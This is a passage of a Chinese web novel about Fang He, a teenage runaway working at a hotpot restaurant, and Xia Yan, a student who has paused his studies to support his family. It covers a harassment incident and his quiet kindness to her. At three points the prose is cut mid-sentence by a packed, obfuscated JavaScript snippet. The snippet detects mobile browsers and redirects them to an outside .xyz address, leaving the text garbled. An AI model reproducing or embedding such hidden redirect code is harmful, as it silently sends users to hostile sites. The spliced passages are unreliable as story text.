反正她该劝的也劝了,方禾自己要找活干,就算累着了那也是方禾自己的事情,她可不会因为方禾表现得勤快就给那丫头多加一分钱的工资。 老板走了,方禾干起来活来更自在,她哼起了歌,想转移自己的注意力。 不忙不行,只有忙起来,她才不会忍不住去想班里的其他同学现在在做什么,是在按小组检查暑假作业?还是在讲新课?而那位曾经很看重她的袁老师又会在做什么呢?是仍旧在心底替她惋惜、怨她不争气?还是把她这个反面教材抛诸脑后继续忙工作?大概是后者吧。 擦着擦着,方禾发现赵文芳的手机还放在柜台上。 她无意间扫了一眼,发现手机屏幕不但亮着,居然还停留在和夏岩聊天的界面。 界面上没什么聊天消息,能看见的这部分都是发起转账以及转账被接收留下的记录,应该是赵文芳给夏岩发的工资。 想到佳冰昨天问她的话,方禾黑润润的眼珠转了转,见老板没注意这边,她飞快地伸手点了一下夏岩的头像。 于是,夏岩的微信号就出现在了手机屏幕上。 方禾的手机没带在身上,不过没关系。她扫了一眼,默念了两遍,又将手机返回到之前的界面,假装无事发生。 从小到大,方禾被不少人夸过她的好记性,别人都羡慕她背书快、记单词快,就连数学的那些公式定理,她也记得又快又准。 收到这些夸赞时,方禾只是笑笑,她没吃过背诵的苦,自然不知道别人背起书来有多么煎熬,那时候的她认为背东西是再自然不过的事情,不懂这有什么好羡慕的。 这一刻,方禾在学习以外的事情上体会到了记忆力好带给她的便利。 她居然就这样得到了夏岩的微信! 飞快地擦完前台,方禾跑回员工休息区,喜滋滋地从柜子里拿出手机,输入她熟记于心的那串微信号,点击查找,添加好友! 可是,一个多小时过去了,夏岩还是没通过她的好友申请。 方禾每看一次手机就撇撇嘴,她安慰自己,夏岩应该不是故意不通过的,他只是在忙。 说到忙……方禾忽然意识到,她记忆中的夏岩总是很忙,他好像不是在打工就是在打工的路上,可是,夏岩为什么会那样忙呢?现在这个时间,从小学到大学,基本上都快开学了吧,为什么还没有要结束兼职回去读书的意思呢? 夏岩好像才二十岁,正是该上大学的年纪,他的成绩应该也很好,但凡成绩不好,或者品行有什么瑕疵,方禾觉得以赵文芳的挑剔程度,肯定不会放心让他来给宝贝女儿做家教。 所以,夏岩肯定跟她所知道的那些因为成绩太差或打架斗殴而不读书跑去打工的男生不一样。 方禾跟夏岩的交流不算多,她所熟悉的夏岩,只限于自己观察到的以及从那些客人的只言片语中了解到的。 赵文芳说玉娇姐是店里的老员工了,或许玉娇姐会知道? 这天开门营业后,最开始的那两三个小时里客人依然很少,这给方禾创造了闲聊的机会。 她悄悄溜到陈玉娇旁边,放低音量打听:“玉娇姐,你知道夏岩他为什么要打那么多份工吗?还有,他还在上学吗?” “他没上学了。”陈玉娇正在泡茶水,她停下往透明玻璃壶里添水的动作,看向方禾肉嘟嘟的鹅蛋脸,“你现在才开始好奇这个吗?” 陈玉娇知道方禾每天都会跑去找夏岩,她还以为接触了这么久,方禾早就知道了,有什么疑惑也都当面问过夏岩了。 “我想知道,你给我讲讲好不好?”方禾拉了拉陈玉娇的围裙,迫切地想要知道夏岩家的事情。 店里用的都是苦荞茶,热水的浸泡下,一团团浅金色正从壶底慢慢往上蔓延。 陈玉娇四下看看,拉着方禾去了大堂角落的一张桌子,假装在清点早就核对过的餐具数量。 “夏岩之前家里条件还不错,他爸妈都在公司有稳定工作,不过他爸运气不好,前两年赶上公司不景气被裁员了。” “他爸失业后去了物流仓库值夜班,经常熬夜通宵扛货箱。” “想也知道,这样干下去身体迟早会出问题,几个月前,他爸大半夜踩着梯子清点库存的时候,突然摔下来倒地不起,我听说好像叫那个什么,哎呀,我记不起那个病叫啥名字了。” 李娅萍拿着拖把从旁边经过,幽幽补充道:“心肌梗死。” “对对对。”陈玉娇一拍大腿,“就是这个,我一下没想起来。” 听到这里,方禾不由地心头一跳:“啊,他爸……不在了?” 陈玉娇:“在啊,人没死。就是吧,虽然花了很多钱抢救回来了,但也卧床不起了。” “哦。”方禾总算松了一口气,她抓起抹布,慢吞吞地假装擦桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468175|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角,继续问,“所以夏岩就退学了?” “不是,夏岩那也不叫退学,好像是休学,还能再回去继续读呢。”陈玉娇瞟了一眼前台的方向,见赵文芳在埋头研究自己的指甲,没注意这边,才接着说,“刚开始夏岩好像只是请了几周的假,七月初回学校参加期末考试,顺便办了休学手续。” 路过的李娅萍见方禾她们在磨洋工,她自己也不想干活了,干脆和她们凑在一起说话。 “后面的事情我也知道,老板打电话跟别人摆龙门阵的时候我听到过。”李娅萍接着陈玉娇的话讲,“夏岩他爸出了院情况稳定了,家里就请了护工照顾,他妈妈还是在外面上班,这也能理解,毕竟有人生病还有两个孩子读书,用钱的地方多着呢。” “照顾卧床的病人可不轻松,事情又多又杂,要是遇上负责的护工,那就算烧高香了,遇上不好的,轻则敷衍,重则虐待。” 方禾顺着娅萍姐的话猜测:“夏岩家遇上那种不好的了?” “对啊。”李娅萍攥着拖把杆,机械地在同一块地砖上来回划拉,装作在拖地的样子,她只听说夏岩家请的那个护工不好,具体怎么不好法她不知道,所以她没再接着往下说。 “我还听别人说啊……”陈玉娇示意方禾跟李娅萍再凑近点,她的声音尤其小,“他爸自杀过,所以他妈妈就更不敢让护工来照顾了,只能辞掉工作自己杠。” “你想啊,这下夏岩家里彻底没了收入,他爸这病又烧钱得很,夏岩不回来打工挣钱怎么能行。” 方禾下意识就问:“没有赔偿吗?” 陈玉娇垂头看桌上的纸巾盒:“这我就不清楚……” “哪有什么赔偿款啊,”赵文芳突然出现在了立柱拐角,把方禾吓了一跳,不过赵文芳也没立即数落她们,只是走过来插了两句话,“他爸是通过中介公司跟物流仓库签的合同,合同上也写的是非全日制用工,没给他爸缴过工伤保险。” 就在方禾以为老板是过来参与她们的闲聊时,赵文芳清了一下嗓子,双手叉腰,说回正事:“今天客少,本来活也少,我也就不说你们偷懒了,下次要是被我看见你们在店正忙的时候还扎堆聊天……” 方禾赶忙摆摆手:“不会有下次了!” 陈玉娇和李娅萍也笑着附和了两声,赵文芳这才满意。 “一定要休学吗?” 李娅萍已经拿着拖把走了,方禾还在纠结夏岩上学的问题,她问陈玉娇:“就不能先借点钱救急,等夏岩读完大学,他就能上班挣钱了。” “你说得倒容易,这年头谁愿意借钱给别人啊,一听说夏岩家里出事,亲戚朋友巴不得连夜搬家不联系,能借的当然都借了,可家里总归没有收入,一直借下去也不是办法,况且,家里都那样了,我猜夏岩就算人在学校里,应该也没心思上课吧。” 陈玉娇看着赵文芳还没走远的背影,把自己的声音压得更低了。 她知道赵文芳跟夏岩家关系还行,两家人认识很久了,还做过一段时间的邻居。 可赵文芳也舍不得把大笔的钱借出去,但赵文芳也不是铁石心肠,所以才让夏岩来给女儿做家教老师,开的工资也比家教的市场价略高一点点。 风扇在头顶嗡嗡转动,方禾越听心里越难受,没忍住湿了眼眶。 陈玉娇要回去泡茶了,走的时候悄悄提醒她:“你知道归知道,可别跑去跟夏岩说什么。” 方禾点点头:“我懂。” 她同情夏岩的遭遇,心疼他现在的辛苦,可她的这些情绪不该被夏岩看见。 夏岩应该并不想让别人知道这些,就像她也不想让别人知道她没爹疼没娘爱的童年一样。 除了找工作的时候如实跟赵文芳这个老板交代了一遍,方禾自己的故事,她连玉娇姐都没告诉。 5. 第 5 章 收到“十月禾”申请添加好友的消息提示时,夏岩正在和妹妹夏珂逛街,因为不知道对方是谁,他只扫了一眼就把手机放回裤兜里了,并没有点“通过”。 小学明天就开学了,夏岩趁着今天有半天的休息时间带妹妹上街来玩儿。 夏珂这学期该上五年级了,个子已经超过了一米五,漂亮的娃娃脸上多了几分本不该属于她这个年纪的忧郁。 这半年来家里的情况不好,夏珂懂事得让人心疼,以前喜欢漂亮笔袋和可爱发绳的小女孩似乎已经很久没有买过这些小东西了,新衣服也不主动开口要,甚至每周给她的零花钱她都能攒下好几十块不用。 陪妹妹买了新的衣服和鞋子,夏岩又领着妹妹去吃了炸鸡汉堡。 回去的路上,夏岩顺便去超市把晚上的菜买了。 那个不知道是谁发来的好友申请,夏岩没在意,他要洗衣服、做晚饭,忙着忙着也就忘了,直到他像往常一样踏进火锅店,却意外撞上了方禾那双明显带着些怒气的眼睛。 “你今天很忙吗?”方禾双臂环抱在胸前,仰着下巴,对着面前的人冷哼道。 夏岩垂眸,视线停在方禾耳边的那枚黄色星星发夹上:“还好。” 这是实话,尤其是跟三个月前的连轴转相比,现在根本算不上是忙。 方禾往前一步,继续质问道:“那我加你好友你怎么不同意?” “是你?” 距离更近了些,夏岩发现方禾的眼眶红红的。不就是没加她微信吗,至于气成这样? 惊讶之后,夏岩紧跟着解释:“我不知道那个人是你。” 方禾闷闷地“哦”了一声,她还以为夏岩看到昵称里的“禾”字就会想到是她,显然,她高估了夏岩对她的在意程度。 她自顾自地解释:“你都不能猜一猜嘛,禾是我的名字,十月是我农历生日的月份……” 意识到夏岩根本无从得知她的生日月份,方禾及时打住想要解释微信名来历的话,转而问道:“那现在你知道了,你会加我吗?” 不需要思考,夏岩脱口而出:“不会。” 既然已经知道是她,那就更不能加了。 加一个十六岁小姑娘的微信,不管怎么想都不太合适。 方禾“哼”了一声,转身干活去了。 周围有啤酒瓶倒地的脆响,有锅里沸腾的咕嘟声,有客人的交谈声,夏岩往前走着,擦肩而过时,他听见方禾在小声嘟囔:“不加就不加!我大人有大量,才不跟他计较。” 夏岩脚步没停,唇角却小幅度地勾起。 果然还是小孩子脾气。夏岩扶了一下眼镜,越发觉得方禾跟自家妹妹差不多。 说到妹妹,他妹妹明天就回学校去了,可方禾……夏岩又看了一眼系着围裙的方禾,她笑着站在桌边问客人要点哪些菜。 她这么小的年纪,不去上学读书,就这样待在火锅店里,像什么话,多可惜。 夏岩叹了一口气,收回视线,推开包厢的门。 他之于方禾,只是一个无关紧要的人,他没有资格去说教什么,更没有能力去帮助方禾。 - 第二天一早,方禾还没睡醒,迷迷糊糊就听到了她老板的声音,赵文芳似乎是喊了一声“天老爷”还是“天菩萨”,声音尖锐,硬生生把方禾从梦里给拽出来了。 赵文芳就住在对门。 因为这里离她女儿思敏的学校近,上下学方便。只有每个月店休的时候,赵文芳才会带思敏回城东的房子住。所以,赵文芳一大清早就出现在这里也不奇怪。 “我的乖乖些,”赵文芳看着墙上正在呼呼往外散发冷气的空调,感觉自己的心在滴血,“你们开了一整晚的空调啊!” 因为心痛,赵文芳说起话来音量也高,像是嚎叫出来的。 几声嚎叫让方禾彻底清醒了,她掀开被子从床上爬起来,隔着帘子看到了赵文芳。 赵文芳坐到沙发上,试着跟这一屋子姑娘商量:“那什么,这几天也没有前些时候热了哈,咱们晚上开空调还是定个时吧,别一直开着,电费倒是小事,把你们吹感冒了可怎么办?你们虽然年轻,但也要注意身体啊,等上了年纪有什么头疼的毛病,那可是后悔都来不及了。” 一句“电费是小事”,差点让陈玉娇几人都憋不住笑了出来。 她们心里都明白,前些天空调坏了那么久都不修,就是赵文芳在拖着不想修,为的就是不开空调她能省一笔电费。 也就是方禾刚来不知道,又年纪小不懂人情世故,才去缠着赵文芳找人来修空调,她们几个老人可不敢,不然赵文芳就会找各种由头扣她们的工资。 老板都发话了,陈玉娇几个自然满口答应,把老板送出门,几人就变了脸,相视一笑。 方禾走出房间看见这一幕,就知道这空调她们还是想开就开,才不会因为老板的话就委屈自己。 醒都醒了,再躺回去睡回笼觉也睡不着,方禾索性出了门。 她下楼吃了一碗加酸加辣的酸辣粉,然后就无事可做了。 因为袁老师的电话,因为夏岩不肯加她好友,也因为听了夏岩家的悲伤故事,方禾开心不起来。 心情不好,方禾不想提前去店里干活,想到夏岩的不待见以及床边抽屉里攒下的一堆大山楂颗粒、健胃消食片和创可贴,她也懒得再跑去药店找夏岩。 方禾扫了一辆自行车,漫无目的地在街上逛着玩。 卢嘉是一个县级市,和那些繁华的大都市比起来,并不大,骑着自行车就能悠哉游哉地逛完。 骑自行车还是同屋的玉娇姐和娅萍姐前些日子一起教她的,方禾的平衡感和协调性不错,只花了两个上午就学会了。 她小时候生活在山村里,山路不是坡就是弯,没有骑自行车的条件。 后来在镇上读的初中高中,但镇上还没有普及共享单车,方禾也就没有自行车可以骑。 这可能也是方禾喜欢卢嘉的原因—— 这里比她从小待过的地方都繁华热闹,到处都能手机支付,到处都有共享单车,而且道路平整,下雨天不会踩到黄泥。 骑过了一段路,方禾发现今天街上的人似乎特别多。 她把车速慢下来,终于从路边行人的话语里知道了是怎么回事。 原来今天是小学开学的日子…… 看来是躲不过“开学”这个话题了。 听到佳冰和袁老师说开学,方禾只想逃避。 但听到这些人说,方禾的心里倒还算平静。 可能是因为这里的学校里没有一个人认识她,就算她跑去看看,也只会被当作就读学生的姐姐或者路过的行人。 那就去看看吧,正好她现在也无处可去。 方禾也没导航,眼前这些手提书包的家长都是送孩子上学的,她只要跟着这些人,总能到学校。 至于是到哪一所学校,方禾无所谓,反正她只是消磨时间而已。 一开始方禾跟着步行的人,但他们走得太慢,方禾改成了跟着骑电瓶车的人,可电瓶车开得太快,她只是一个骑自行车的新手,不敢卯足劲儿去追。 于是方禾跟着的人就变得很随机了,一会儿跟这个,一会儿跟那个,冒险似的骑了一路,方禾最后到了一所小学的门口。 方禾看着家长们把孩子送到有保安站岗的伸缩门前,把书包给孩子背着,又弯腰亲昵地叮嘱一番;看着那一个个小小的、系着红领巾的小娃娃蹦蹦跳跳地往学校里走,一边走一边给老师打招呼。 既然是小学,周围肯定有卖小学生喜欢的零食。 方禾找了个停放点把车还了,走进了校门外的一家店。 果然,方禾在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468176|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家店里找到了很多童年怀旧小零食。 买了一堆猪宝贝、狗牙儿、沙嗲牛肉干……方禾乐悠悠地提上袋子出门。 正盘算着先拆哪一袋吃,方禾忽地眼前一亮。 “夏岩!” 那边站着的男生,头发修剪得干净利落,眉眼深邃清澈,眼尾微微上翘……无论看上多少次,方禾都还是会被夏岩的颜值打动。 她小跑过去,这才发现夏岩身后还有一个背着浅蓝色星星书包的小女孩,眉眼和夏岩有七分相似。 “这是你妹妹吗?” “对。”夏岩淡淡应了一声,没有要跟夏珂介绍这个突然出现的姐姐的意思,只是低头继续跟妹妹交代事情。 方禾站定,歪头打量夏岩的这位妹妹。 小女孩长得非常漂亮,眼睛又大又亮,皮肤白皙光滑,脸蛋带着些小孩子独有的肉感,微微嘟起,看得方禾忍不住想要上手捏一捏。 她暗自感慨,他们兄妹俩遗传到的基因真不错,两个人都长得这么好看。 不过这个小女孩的气质看起来有些冷,方禾不好第一次见面就冒昧地去捏人家的脸。 夏珂听完了哥哥的絮絮叨叨,转身就要走。 方禾从袋子里拿出一瓶娃哈哈,拆了一根吸管,追了两步,递给面前的小女孩:“这个送你喝。” 夏珂先看了一眼哥哥,才接过东西,乖巧道谢:“谢谢姐姐。” 等夏珂进了校门,夏岩对站在自己身旁的方禾轻声说:“谢谢。” “和你没关系,是你妹妹长得可爱,我乐意给她零食吃。”这是真话,人总是在潜意识里对长得好看的人多几分好感,何况方禾本来就是个颜控。 方禾是真心想送这个小女孩零食吃,送辣条怕她吃坏肚子,所以挑来挑去也只给了她一瓶娃哈哈。 夏岩远远地看着妹妹进了教学楼,就准备走了,他还要赶去甜品店打工。 方禾追上夏岩的步子,问他:“你妹妹叫什么名字呀?” “夏珂,斜王旁的珂。” 方禾默默点头,她在想,如果下次见面夏珂肯让她捏一下就好了。 “你要回去了吗?”又走了几步,方禾见夏岩停在一辆电动车旁,从裤兜里掏出了车钥匙。 “嗯。” “能带上我吗?”她仰着头,眼神亮晶晶的。 虽然卢嘉算不上是大城市,但方禾毕竟刚来没多久,万一走丢了或者碰上坏人了……夏岩沉默了一会儿,无奈道:“上来吧。” 方禾扬起一抹笑,坐上了夏岩的车后座。 她喜欢夏岩不假,但她还没大胆到去抱夏岩的腰,一双手在半空中顿了顿,最后只是扶住了后座边缘的扶手。 “坐好了?” “好了。” 夏岩启动车子,这段路全是送学生的人和车,堵得厉害,他只能慢慢骑。 看着眼前走过的一个个背着书包的身影,夏岩想到了他身后的方禾,他问:“都开学了,你真的不准备回学校读书了?” 方禾抓扶手的手紧了紧:“不回去。” 不肯回去,总有理由,夏岩猜测:“你不读书,是因为家里没钱供你?” “不是,是我自己不想读的,我觉得没意思,我也不想待在家里。” “所以是因为跟家里人闹别扭才不继续读书的?代价是不是太大了?” 夏岩好心劝道:“我觉得你应该好好考虑考虑,趁现在回去还来得及,现在放下书包容易,时间长了再想捡起来,可就不是那么容易了,你的人生还很长……” 夏岩难得跟她话多了一回,但说的字字句句却都是方禾不愿意听的。 她戳戳夏岩的背:“停车。” 夏岩依言停了车,回头问方禾:“怎么了?” 方禾跳下车:“你太唠叨了,我不想听。” 6. 第 6 章 方禾知道夏岩劝她是出于好意,可她依然不爱听夏岩的那些话。 甚至因为怕夏岩又找机会劝她,方禾都减少了去药店的次数,隔上三五天才去一回。 间隔拉长了,还没去上几次药店,另一个节日就到了。 方禾在小区里走的时候,闻到了桂花的气息。 她喜欢桂花的味道,陈玉娇教会她用购物软件后,她最先买的就是桂花味道的护手霜和身体乳,等下个月发工资了,她还准备买一瓶桂花味的香水。 开放的桂花也提醒着方禾,又到了吃月饼的日子。 方禾以前没觉得中秋节有什么不同。 因为像中秋、端午这种节日,都学校都只会放一天假,虽然连上周末也有三天,但真正过节的那天却往往是收假的那天。 如果离学校近,倒是可以跟家里人好好吃顿饭再去学校,可方禾住在深山老林的村子里,学校在三十公里外的镇上,偏偏从村里开往镇上的车一天还只有早上那一趟,所以尽管晚上才上晚自习,方禾也得一大清早就起床出发准备上学。 因为过节,镇上的大小餐馆多数都店休,跟小伙伴一起游荡在街巷的方禾就算想吃点好吃的都找不到地方,只能简单吃碗面,或者在农贸市场门口买一个酸菜烧饼。 合家欢聚是别人家的事情,方禾感受不到节日的氛围。今年当然也是一样,没有家人陪她过节,方禾连月饼都不准备买。 但因为是中秋,赵文芳难得大方了一回,给店里每个员工都发了两个月饼。 方禾拿到了一个咸蛋黄的和一个枣泥的,但她吃不来咸月饼,跟正好不爱吃甜月饼的娅萍姐换了一个豆沙馅的。 白得的月饼可不是那么好吃的,因为中秋这天火锅店里忙得跟打仗一样。 方禾还没见过节时的这种大场面,请客的、聚餐的,整个大堂都坐满了,那叫一个忙,这桌差碗筷,那桌要添茶水,刚坐下的那桌又喊着要点菜,方禾人都快忙昏头了,恨不得自己能有个三头六臂。 只是忙也就算了,偏偏,这桌子谈天说地,那桌子喝酒划拳,动静太大,方禾感觉自己的耳朵也快聋了,她更晕了,甚至不知道忙到几点了。 赵文芳特地交代过了,让大家都打起精神,越是忙的时候,越不能出错。 方禾再累也只能给自己鼓鼓劲,反正忙完今天她就又能休息一天了。 从传菜口端了两碟菜出来,方禾一边喊着“小心”,一边穿过拥挤又吵闹的大堂。 刚靠近对应的桌子,浑浊酒气便扑面而来。饶是方禾已经在店里待了快两个月,习惯了锅底的牛油味,也还是闻不惯这种浓烈的酒气。 她偏头喘了一口气,才温声道:“您好,这是你们刚刚加的菜。” 桌上的油头男人正用筷子敲击骨碟,看到方禾时,混浊的眼睛一亮。 方禾刚把左手端着的毛肚放到桌上,一只油腻的大掌忽然覆了过来。 她猛地抽回手。 店里还要做生意,方禾本来没准备怎么样,只想快点放下另一个盘子然后马上离开。 没想到这男人却不依不饶,摔了酒瓶,涨红着脸道:“摸都没摸到,清高什么!” 说着,他那肥硕的身体就要往方禾这边靠。 方禾从来就不是什么好脾气的人,学校里别人推搡她,她敢推回去,在家里,爷爷扬起笤帚说要打她,她也敢抄起墙根下的梿枷对打回去。 这一刻当然也一样。 她可不是什么受了委屈只会默默忍耐、不敢反抗的小女孩,随手就把正端着的那碟带皮牛头肉朝那男人的脑袋上招呼。 夏岩经过大堂时看到的就是这一幕,他惊讶于方禾的大胆,也看到了她眼中的愤怒。 被冰冷的生牛肉扣了一脸的男人顿时火冒三丈,涨红着脸站起来,扬起肥厚的手掌:“老子先教教你怎么伺候——” 方禾自然不会傻傻地站在那里等挨打,她灵巧地避到一旁,正要捡两个玻璃酒瓶以备不时之需,转头却发现夏岩截住了那人的手。 方禾看着这个不知道什么时候出现的人,他扣着对方的手腕,神色冷淡,目光有些凶,和平时她见到的那副温和有礼的样子完全不同。 因为这桌的动静,喧闹的大堂有一瞬的安静。 方禾没有什么好怕的,因为她本就没有错,如果不是那个男人用那种恶心的眼神上下打量她,还想摸她的手,她也不会无缘无故就把盘子甩到他脸上。 相比方禾的镇定,那个油腻男人却有些心虚,虽然他不认为自己有什么错,但自己的行为被这么多人窥见,难免有些尴尬。 很快,老板赵文芳闻讯赶来。 好在,赵文芳虽然抠门,但在这种大事上还是黑白分明的,没有因为不想得罪客人就让方禾委曲求全。而且,方禾的年龄摆在那儿,客人也不敢再闹事。 夏岩目睹这场闹剧收场,看着方禾若无其事地继续忙碌,没再逗留,准时去找思敏。 因为今晚没有空包厢,思敏只能在仓库后的员工休息区写作业。 这里有储物柜和桌椅,离大堂有些距离,还算安静。 思敏一直盯着墙上的挂钟,时间一到,她马上从椅子上跳起来,杜绝任何让夏岩拖堂的可能。 夏岩早就习惯,背上自己的包也准备离开。 员工休息区离火锅店的后门更近,夏岩也就没再折回大堂,直接从后门走。 后面的巷子也不冷清,有铁锅爆炒的响声,有老人问需不需要找住宿,有排成一排卖各种小吃的小摊贩,一呼一吸间就能嗅到炒饭的香气和红薯的香甜。 夏岩还没走几步,就远远瞧着前面有个蹲在地上的人影,安静得像一颗长在那里的蘑菇。 走近了,听到呜咽声,看到熟悉的身形,夏岩才认出来,那颗蘑菇是哭泣的方禾。 如果夏岩没有看到方禾,他可以照常地路过,离开,然后回家。 可他偏偏看见了……既然看见了,如果再任由这姑娘独自在夜巷流泪,夏岩会觉得自己的良心过不去。 他脚下的步子偏移了方向。 “哭什么?”夏岩在她旁边蹲下,询问的声音在夜风中显得很温和,“因为那桌发生的事情?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468177|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 方禾吸吸鼻子,抬头。 她看见了面前的夏岩,也看到了夏岩身后的月亮。 那么圆,那么亮,挂在漆黑的夜幕中,想不去注意都难。 明月是思乡的意象。答古诗鉴赏题的时候方禾经常这样写,但她自己其实没什么感触,她只觉得又亮又大的月亮特别漂亮。 今年却不同,或许是因为奶奶不在人世了,或许是因为她此刻独在异乡,抬头望见夜空中的那一轮明月时,方禾心中竟然慢慢涌起了她答题时常写的那种悲伤落寞之感。 虽然不愿意承认,但她确实有点想家了。 可是她想的家只是一个空壳,并不存在。 奶奶去世后,那个没有一个人关心她的家并不能称之为“家”。 方禾不是在为刚刚的事情难过。只是这件事情忽然就引出了她离家以来的所有委屈。 店里那么热闹,她看到了好几个被爸爸妈妈带出来吃火锅的小孩,他们一大家子坐在一起,是那么的温馨,那么的令人羡慕。 别人有说有笑,开开心心地过节,她却无家可归,还要被人欺负。 如果奶奶还在,如果妈妈还在,她的生活应该不会是这样的,她也会像其他孩子一样,书包里被妈妈装满零食,扎着漂亮的麻花辫,穿着崭新的碎花裙子,在大家面前转着圈圈炫耀。 可惜,这些她统统都没有,她的生活只剩下自己,即便活得糟糕也没人在意,没人真正的关心她、维护她,这才是最让方禾难过的地方。 “别哭了。” 夏岩也知道这样的安慰苍白且徒劳,扫了一眼不远处的小吃摊,他说:“我给你买烤红薯,你吃了就别哭了,行不行?” 幸好这些年带妹妹的时候他积累了不少哄小女孩的经验。只是,夏岩不知道那些经验对这个比珂珂大几岁的女孩到底有没有用。 听到烤红薯,方禾不自觉地眨了一下眼睛。夏岩就以为她是想吃的,起身去买。 几分钟后,方禾接过了那个冒着热气的红薯。 刚出炉的烤红薯有些烫,方禾能感觉到自己的手心一点一点暖了起来。 或许,暖起来的也不止是手…… 方禾止住哭声,抬起袖子擦擦眼泪,然后小心翼翼地撕掉红薯皮。 没了皮的阻隔,香甜的气味更浓了,浓到让方禾陷入了一个同样充满香甜气息的回忆。 那时爷爷在喝酒,喝完了就发疯,砸东西,奶奶让她躲起来,她就藏在灶台后面,蹲在那里哭。 等爷爷发泄完了,奶奶会进来哄她。 家里没什么好东西,奶奶就在火堆里给她烤土豆和红薯吃,如果碰上百合花开的季节,奶奶会跑去山坡上摘新鲜的百合花,拿回家清洗干净,去掉花蕊,把拌了白糖和猪油的面糊包进花瓣里,然后放在火堆里烧。 等熟了,拿出来撕掉烤干的花瓣,就可以吃了。 甜甜的,混着百合花独有的清香,这是方禾小时候最馋的一道小吃了。 方禾已经很久没有再尝过那种甜了,正如她也很久没有感受过那种能温暖她的爱意了。 7. 第 7 章 方禾咬了一口软糯的红薯,还没咽下去,她就听见夏岩说:“方禾,你不适合留在这里。” 她懵懵地抬头,眼里还有泪花:“没关系,我都习惯了。” “我不是这个意思。”夏岩看着她的发顶,“你这个年纪,本来就不应该在这里。” “你是想说我应该回家去吧?”方禾又咬了一口红薯,嚼了嚼,“我不想听到这些劝我回家的话,不过还是要谢谢你关心我。” 他关心她……对啊,他为什么要关心她?仅仅是出于良心的不忍吗?夏岩有一瞬间的自我怀疑,他退开了些,眼神也冷了几分。 方禾察觉到了夏岩表情的变化,她觉得奇怪,明明刚刚还那么温柔的,怎么突然就冷脸了呢? 哦,八成是觉得她小小年纪不学好,又是离家出走又是不上学,是个坏女孩? 方禾吃完烤红薯才回店里。 念在方禾年纪小,今晚可能被吓到了,赵文芳没有追究她的擅离职守,反而跑过来安慰了她一番。 安慰完,赵文芳又教方禾下次遇到这种情况应该怎么应对。 赵文芳让她圆滑点,自己别吃亏,但也不要轻易得罪客人,不要闹得太难看,毕竟这个店还要开门做生意。 方禾听得心不在焉,她不想去干活,也不想站在这里听老板唠叨,就挤出几滴眼泪,捂着眼睛跑到后面的休息区去了。 - 中秋过后,天气慢慢转凉,盛夏时节的衣服都该收进柜子里了。 夏岩成年之后的体型就没什么太大的变化,他还能翻出前两年的衣服穿,但妹妹夏珂正在长身体,去年的秋装一上身就短了一小截,鞋子也有些挤脚了。 虽然凑合着还能穿,但家里条件再苦,黄书翠也不愿意委屈女儿, 而且,她也怕女儿穿得不好,同学们不愿意跟女儿一起玩儿。 夏康安一直卧床,要按时翻身拍背、按摩四肢、鼻饲管注食……身边离不得人,黄书翠就把带女儿买新衣服的任务交给了儿子。 夏岩当然也愿意,立即就跟托管机构的老师打电话请了假,把下午的时间全空出来。 上午药店的兼职结束,夏岩回家吃饭,然后接上妹妹去买衣服。 下了楼,兄妹俩迎面撞上一群穿着球服抱着篮球的少年,夏岩没忍住多看了几眼。 他都记不清自己上一次打篮球是什么时候的事了,只记得妹妹上幼儿园的时候,他带着妹妹去打过篮球,每投进去一个球他都要回头看看妹妹是不是还乖乖坐在旁边。 夏岩喜欢打篮球,但那时候的夏珂只能将将把篮球抱稳,力气远不够投篮的,还没有对篮球这项运动产生兴趣。 见妹妹等得无聊,夏岩也就不打了,抱上篮球牵着妹妹去买冰淇淋。 一大一小牵着手走在洒满阳光的街道上,何其悠闲,何其快乐。 可惜,那样和冰淇淋一样甜的日子,似乎也都随着冰淇淋一起融化消逝了。 夏岩骨子里并不是自卑的人,从前的夏岩开朗自信,除了打篮球还爱玩游戏,爱去健身房,爱和朋友去登山。 但这半年来的种种变故以及日复一日的忙碌,早就让他变得有些麻木,甚至是有些阴郁,夏岩几乎都快忘了从前那个随性肆意的自己平时都爱干些什么了。 他现在的生活没有消遣,没有娱乐,也没有朋友,只有工作、挣钱和还债。 在商场逛了一下午,兄妹俩买了衣服鞋子,买了几本课外书,又在商场的抓娃娃机前逗留了将近一个小时,直到夏珂手里的玩偶多到快要抱不住,夏岩才提出回家。 夏珂迟疑地点了点头。 出商场的路上,夏珂走得很慢,见她一副很纠结的样子,夏岩停脚步问:“还有什么要买的吗?” 夏珂先是摇摇头,顿了两秒,又低头揪着衣角小声说:“有……” “什么?” 哥哥问得耐心,夏珂却说不出口。 以前都是妈妈陪她买贴身衣物的,现在妈妈走不开,哥哥的话……夏珂有点不好意思。 